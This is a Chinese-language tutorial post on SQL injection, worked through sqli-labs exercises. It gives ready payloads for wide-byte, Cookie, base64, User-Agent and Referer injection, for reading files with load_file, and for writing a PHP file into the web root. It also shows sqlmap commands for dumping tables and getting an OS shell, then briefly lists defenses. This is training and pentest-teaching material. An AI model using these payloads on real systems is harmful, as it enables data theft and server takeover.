SQL注入漏洞 其他注入

文章目录

  • 宽字节注入
      • 案例
  • HTTP头部注入
    • Cookie注入
    • base64
    • User-Agent注入
    • Referer 注入
  • SQL注入读写文件
    • 条件
      • 1.是否拥有读写权限
      • 2.文件路径
      • 3.secure_file_priv
    • 读取文件
    • 写入文件
  • SQLMap
    • 安装sqlmap
      • kail 源安装
      • 仓库克隆
    • 参数简介
    • 快速入门;SQLmap(常规)使用步骤
    • POST注入方法
    • GetShell
  • SQL 注⼊漏洞防御

宽字节注入

宽字节注入是用在引号闭合前有转义字符\的他会让闭合引号失效,根据gbk编码前面加一个%变成url编码后再在5C 之前添加一个字符[81,FE] 之间,该字符就会和5c 组成一个汉字。

从而逃过转义限制

案例

在sqli-labs中less-32关中就有体现
进入关卡
SQL注入漏洞 其他注入_第1张图片
寻找注入点
SQL注入漏洞 其他注入_第2张图片
SQL注入漏洞 其他注入_第3张图片
发现变化进行单引号闭合发现被转义
SQL注入漏洞 其他注入_第4张图片
在闭合前加入字符81进行url编码%81连接后门的\的字符编码将\变为汉字失去转义功能
SQL注入漏洞 其他注入_第5张图片
出现报错信息进行报错注入http://10.9.47.77/sqli-labs/Less-32/?id=2%81%27and%20updatexml(1,concat(0x5E,(select%20database()),0x5E),1)--+
SQL注入漏洞 其他注入_第6张图片
http://10.9.47.77/sqli-labs/Less-32/?id=2%81'and updatexml(1,concat(0x3A,(select version()),0x3A),1)--+
SQL注入漏洞 其他注入_第7张图片

HTTP头部注入

Cookie注入

对网页内容进行抓包在Cookie字段进行引号闭合寻找注入点
SQL注入漏洞 其他注入_第8张图片
发现报错写入报错注入语句用#号闭合
SQL注入漏洞 其他注入_第9张图片
如果#号无法闭合猜测后面还有单引号 可以使用 and ‘1进行闭合

base64

注入的参数需要进行base64 编码
在sqli-labs中less-22关中就有体现登录后发现cookie进行了编码
SQL注入漏洞 其他注入_第10张图片
将cookie换成admin “进行闭合然后base64编码后发现报错存在sql注入
SQL注入漏洞 其他注入_第11张图片
通过admin " order by 3 # 语句发现他的列数为3
SQL注入漏洞 其他注入_第12张图片
使用联合查询爆出数据库名和版本admin " and 1=2 union select 1,version(),database() #
SQL注入漏洞 其他注入_第13张图片

User-Agent注入

修改http头文件里的user-agent字段

User-Agent: xl’ and updatexml(1,concat(0x5e,(select database()),0x5e),1) and '1

sqli-labs18关有体现SQL注入漏洞 其他注入_第14张图片
登录后我们可以看到浏览器指纹信息尝试在里面sql注入
进行报错注入

SQL注入漏洞 其他注入_第15张图片

Referer 注入

在Referer 字段中注入sql语句

Referer: xl’ and updatexml(1,concat(0x5e,(select database()),0x5e),1) and ‘1
在sqli-labs-19中就有体现
SQL注入漏洞 其他注入_第16张图片
我们在头文件里进行注入找到’ and '1进行闭合插入
SQL注入漏洞 其他注入_第17张图片
加入sql语句
SQL注入漏洞 其他注入_第18张图片

SQL注入读写文件

条件

1.是否拥有读写权限

想要进行文件读写需要检测用户是否拥有文件权限
?id=2 and 1=2 union select 1,user(),3 #
SQL注入漏洞 其他注入_第19张图片
得到当前登录的用户名进行权限查询
?id=2 and 1=2 union select 1,user(),file_priv from mysql.user where user='root' and host = 'localhost' #
SQL注入漏洞 其他注入_第20张图片

2.文件路径

读写时文件必须使用绝对路径

3.secure_file_priv

mySQL 数据库有关于文件读写的安全选项 secure_file_priv。

secure_file_priv 参数限制了 mysqld(MySQL DBMS) 的导入导出操作,这个选项是不能利用SQL 语句修改,必须修改 my.ini 配置文件,并重启 mysql 数据库。
在数据库中也可以查看
show global variables like '%secure_file_priv%';
在这里插入图片描述

参数 含义
secure_file_priv=NULL 限制 mysqld 不允许导入导出操作。
secure_file_priv=‘c:/ajest/’ 限制 mysqld 的导入导出操作在某个固定目录下,并且子目录有效。
secure_file_priv= 不对 mysqld 的导入导出操作做限制。

本案例为空

读取文件

使用load_file函数进行文件读取
http://10.9.47.77/sqli-labs/Less-2/?id=2 and 1=2 union select 1,load_file("C:\\cms.sql"),3#
SQL注入漏洞 其他注入_第21张图片
可以看到读取到了文件

写入文件

使用into outfile函数
http://10.9.47.77/sqli-labs/Less-2/?id=2 and 1=2 union select 1,"",3 into outfile "C:/phpstudy_2016/www/yjh.php" --+
在这里插入图片描述
文件上传成功
在这里插入图片描述

SQLMap

SQLMap 是一款专注于 SQLi 的工具,堪称神器。SQLmap 基于 Python 语言编写的命令行工具,集成在 Kali 中。

安装sqlmap

kail 源安装

sudo apt install sqlmap

仓库克隆

git clone https://github.com/sqlmapproject/sqlmap.git #将仓库克隆到本地
git fetch #检测更新
git pull   #更新

参数简介

参数 含义
-u 检测注入点
–dbs 列出所有的库名
–current-user 当前连接数据库用户的名字
–current-db 当前数据库的名字
-D “cms” 指定目标数据库为 cms
–tables 列出数据库中所有的表名
-T “cms_users” 指定目标表名为 cms_users
–columns 列出所有的字段名
-C ‘username,password’ 指定目标字段
–dump 列出字段内容
-r 从文件中读取HTTP 请求
–os-shell 在特定情况下,可以直接获得目标系统 Shell
–level 3 设置 sqlmap 检测等级 3
–cookie=“username=admin” 携带 Cookie 信息进行注入
-g 利用 google 搜索引擎自动搜索注入点
–batch 使用默认选项
–random-agent 使用随机 User-Agent 信息
-v 3 显示 payload

快速入门;SQLmap(常规)使用步骤

1、检测「注入点」

sqlmap -u 'http://xx/?id=1'
2、查看所有「数据库」

sqlmap -u 'http://xx/?id=1' --dbs

3、查看当前使用的数据库

sqlmap -u 'http://xx/?id=1' --current-db
4、查看「数据表」

sqlmap -u 'http://xx/?id=1' -D 'security' --tables
5、查看「字段」

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --tables

6、查看「数据」

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --dump

POST注入方法

将遇到post请求在bp进行抓包将请求头文件放入一个文件里
使用

sqlmap -r 文件名

就可以跑post请求了

GetShell

  • 受到 secure_file_priv 选项的限制;

  • 填写路径时要写目标系统 Web 根目录的绝对路径

  • 目录权限
    启动sqlmap.\sqlmap.py -u "http://10.9.47.77/sqli-labs/Less-2/?id=2" --os-shell
    SQL注入漏洞 其他注入_第22张图片
    可以看到引进进入选择一个语言然后选着自定义写入一个正确的绝对路径即可反弹
    SQL注入漏洞 其他注入_第23张图片

SQL 注⼊漏洞防御

  • 避免采用拼接的方式构造 SQL 语句,可以采用PDO预编译等技术;

  • 对进入 SQL 语句的参数进行足够过滤。

  • 部署安全设备,如 WAF。定制武器库

利用编程语言写一些小工具。通过对工具的改造,达到定制化的目的,适用于不同的实战场景。

你可能感兴趣的:(sql注入,渗透,mysql,sql,sql注入,渗透,web安全)